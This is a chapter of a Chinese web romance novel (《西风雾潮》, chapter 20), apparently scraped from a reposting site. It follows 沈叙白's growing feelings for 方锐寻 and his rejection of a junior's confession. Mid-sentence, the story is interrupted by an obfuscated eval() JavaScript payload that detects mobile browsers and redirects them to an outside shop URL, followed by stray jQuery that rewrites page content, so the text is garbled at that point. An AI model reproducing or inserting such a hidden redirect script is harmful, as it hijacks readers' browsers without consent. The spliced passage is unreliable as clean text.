20.落荒而逃
作品:《西风雾潮》 ”你再这么愣在那,我真要把你给扔出去了。“
暖黄的光线落在面前,徐迟坐在沈叙白对面,无语地偏过头,手中的餐叉在盘子边缘发出碰撞的轻响,重重叹口气:
“沈叙白,今天第三次发呆了,怎么,被你的导师夺舍了么?”
“哦,不是。”
沈叙白没放下扶在脸侧的手,嘴角扬起的弧度依旧证明着走神,感受到徐迟目光中的责备,他垂眼问:
“你刚才还和我说什么了?”
“......”
朋友变成这样还有救吗?
徐迟翻着眼睛摇头,只见自己的好兄弟用指尖在皮肤上轻点,一下下节奏缓慢,直到他的小拇指趁停留的间隙又向下划,触碰到嘴角。
沈叙白愣住,然后露出一个莫名其妙的微笑。
“......”
今天叫他出来吃饭真是造了孽了。
他的指尖有些颤抖,温热的触感顺着神经末梢传来,却以极其微小的动作刺激了他的思绪。沈叙白自己还没意识到,笑容已经不受控制地出现。
这种感觉似曾相识,时间越近记忆越清晰,眼前的景象猝然变换,面前不再是装潢精致的餐厅和摆盘讲究的菜品,而是冰冷的大理石桌面和简单的家常菜。
“你的嘴角。”
对方低沉的沙哑的嗓音入耳,他还没来得及反应,就感到有人在他嘴角轻轻一抹。
这是沈叙白第一次感觉到血气上涌,仿佛四肢百骸的血液都争先恐后地往上走,大脑像是宕机般过载,他来不及思考,只是下意识抓住对方落在自己侧脸的手。
“脏,别动。”
他想拿纸巾给他擦手,但对方只是无奈地笑起来,然后轻轻抽回手,笑道:
“只是一粒芝麻,没事。”
沈叙白偏过头,表情没什么变化,身体一动不动,在对方的碗筷碰撞声中,他隐约听到自己快得不正常的心跳。
为什么会这样?
他自诩厌恶和人身体接触,不然也不会在和姚安吃饭时匆匆离开。
现在他也想跑,不过不一样,这是一种超出他控制的不安认知,沈叙白慌乱中也想不清自己为什么会有这么大的反应,如果他现在离开,行为的定性应该是
——落荒而逃。
“怎么了?”
“没什么,我去给你再盛一点。”
见方锐寻一碗粥已经见底,沈叙白便起身准备靠这个转移话题。
当然也可以一个人去厨房静静,平复下现在跟抽风一样的心跳。
只是他的手还没触上碗沿,对方的手就附了上来。
“!?”
其实方锐寻也只是轻轻扶了下他的手,表示自己没有虚弱到连饭都盛不了。
他不知道面前这个人,内心到底在经历什么样的狂风暴雨。
“不用了,我自己去就好,都麻烦你做饭了,盛饭这种小事怎么还能继续让你做。”
沈叙白像是扎根似的一动不动,对方因为有点发烧而偏高的体温正不受任何阻挡地传来,脑中像是屏幕卡死被拉长的线,他不动声色地深吸一口气,心想真的太需要一个人去厨房缓缓了。
于是他顺着方锐寻手掌地纹路向前探了点,扣住碗沿,装作若无其事说:
“都说了是来照顾你,我来吧。”
方锐寻没使太大劲,加上发烧也确实没什么力气,任由沈叙白抽走了自己的碗。
他看到沈叙白快步且磕绊地进了厨房,把碗放在台面上后一动不动,俨然变成一座雕塑。
沈叙白抬头深深吸口气,伸手打开面前的窗户透口气,凌冽寒风带着霜雪的味道钻进鼻腔,他终于在冷空气中找回了一点清醒。
低头盛好粥,关好窗户准备回去,直到一转身,沈叙白对上方锐寻带着笑意的眼神。
“......”
果然人在慌乱时不能做任何决定。
因为慌乱时智商大概率会直接降为0。
比如他光想着来空无一人的厨房找清净,却忘了这是开放式厨房。
自己的一举一动对方都可以轻而易举地看在眼里。
沈叙白感觉自己左眼皮不合时宜地跳起来,端着碗挪步回餐桌。
“为什么要开窗?”
“有点热。”
“热?”
“嗯。”
方锐寻低头舀了一勺粥,正当沈叙白以为他要结束这个话题时,对方突然开口:
“可是刚刚,你的手很凉。”
“......”
破罐子破摔吧。
其实刚去厨房透气这事没有一点作用。
“我体寒。”
沈叙白随便找个理由想搪塞过去,正当他以为对方要问“为什么”或者“怎么回事”的时候,方锐寻只是低低发出声:
“嗯。”
“......”
永远不按套路出牌。
吃完晚饭方锐寻坚持要开车送他回去,沈叙白再三推拒得到的全是否定,于是他趁着方锐寻进屋穿衣服的空隙,悄无声息地溜出门。
最终还是落荒而逃了。
沈叙白在走出小区的时候收到方锐寻的电话,他回头从楼房的间隙里看了一眼他家的灯光,任由雪花落在自己的头发和围巾,直到坐上电车依旧没缓过神。
刚才被触碰的地方仿佛被印上什么深刻的烙印,火辣辣的,不是痛感,但看到的瞬间让人心悸。
明明什么也没留下。
·
投入到竞赛的时候,沈叙白不会让自己有半分分神。
在图书馆忘记时间是常事,更何况前天上午他收到了助教传来的完整版资料。
认真翻阅一遍,前面的内容和姚安给他的纸质版没什么区别,只是后面少了最重要的部分,那是关于一些数据的修改和方向纠正。
用来准备的时间不多,既然拿到了完整资料,就迅速开始准备。
但没想到的是,昨天中午,刚下课的沈叙白拎着书包匆忙出门,结果撞上等在门口的姚安。
“学长......我......”
姚安手中捏着两张皱巴巴的打印纸,神色带着不安和慌张,明明两张纸没什么重量,此刻却压得他指尖颤抖,说话也吞吞吐吐。
“你说。”
“我真的不是故意的......那天......那天文件放在沙发上,没想到......我也没想到有一部分掉下去了,还因为地上的水被冲到桌下......”
沈叙白低头在他拿着的文件上扫了眼,确定是剩余的部分资料。
“没事。”
沈叙白不想计较这些,事情已经解决,他就没心思,也没兴趣去探究姚安有意还是无意。
他拎着书包就要走,刚迈出去两步,就被身后的人拽住胳膊,紧接着,他听到姚安因为焦急而颤抖的声线:
“对不起......学长......真的对不起,我请你吃饭好吗?”
“不用了,真的没关系。”
沈叙白转身,轻轻抽出自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171362|196379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的手,面色没什么变化,既没有姚安原先想象的责怪,也没有恼火。
什么都没有,就像平静的湖水。
姚安在他心里掀不起什么波澜。
沈叙白从他眼里看出了一丝难过,以及紧接着的.......决心?
“......学长,我真的很喜欢你.......”
“......”
他沉默了,沈叙白耐着性子在这里听对方仓促又下定决心的表白,内心没什么触动,反而升起疑惑。
他有什么值得喜欢的?
“我......我真的......可以给我有一个追你的机会吗?”
他看到姚安眼里升腾而起的水汽,看到极尽的渴望和期待,但他给不了一个肯定的回答。
“抱歉,姚安,其实我不清楚你是怎么喜欢我的,我们只在竞赛中短短见过几面,没有相互了解,这样实在是......”
“那我们就不能慢慢了解吗?”
“不了.......我......”
后半句“很忙”沈叙白没说出口,他最终只是委婉说:
“姚安,你是个很好的人,就不要在我身上浪费时......”
“那他呢?”
“谁?”
“那天和你一起来的那个人。”
“......”
沈叙白不想继续站在这里,最终只是接过他手中因为风干而布满裂纹和褶皱的纸:
“他不一样,总之,谢谢你送的资料。”
他冲姚安礼貌地点头,转身消失在走廊拐角。
·
虽然沈叙白拿到了完整资料,但还是比原先晚了两天,为此他甚至在图书馆熬了两个通宵,把相应部分完成差不多后,应该可以出去好好吃个晚饭。
背着书包走出图书馆,冷风带着新鲜空气灌入衣襟,提神醒脑的同时也不免让他冷的一颤,米兰的雪终于停了,不过气温却没回升一点。
整个世界变得雪白,像顺便被持续不断的寒流罩上保鲜膜,一成不变了。
就在这时,雪白一片的视线中闯入一个影子。
应该只是谁穿了深色的衣服。
起初沈叙白没在意,不过当他看到那个人的步伐,才恍然回过神。
太熟悉了。
他不可置信地揉揉眼,远远看着那道侧着的身影在低头摆弄手机,视线还没完全聚焦,他兜里的手机就震动起来。
“......”
这个电话是谁打的,不言而喻。
“在学校吗?”
“......在。”
电话那头男人带着笑意,沈叙白看不清远处那个人的表情,只是眯着眼问:
“你来学校了?”
“是。”
男人停顿了一下,呼啸而过的风声也漏进话筒,见沈叙白没出声,方锐寻开口道:
“今晚有时间吗?请你吃晚饭。”
“有。”
“那我去哪里等你?”
“你......”沈叙白笑起来,他低头用鞋尖在雪面上留下痕迹,“你站在原地不要动。”
紧接着他就挂断电话。
方锐寻看着手机屏幕“通话结束”的符号发愣,抓着手机不知道作何动作。
他回想刚才的最后一句话,顿时就明白些什么,匆忙转身。
很多年后,方锐寻想到这个画面,依旧会止不住心动。
他看到,沈叙白在漫天雪白中,一步步向他走来。

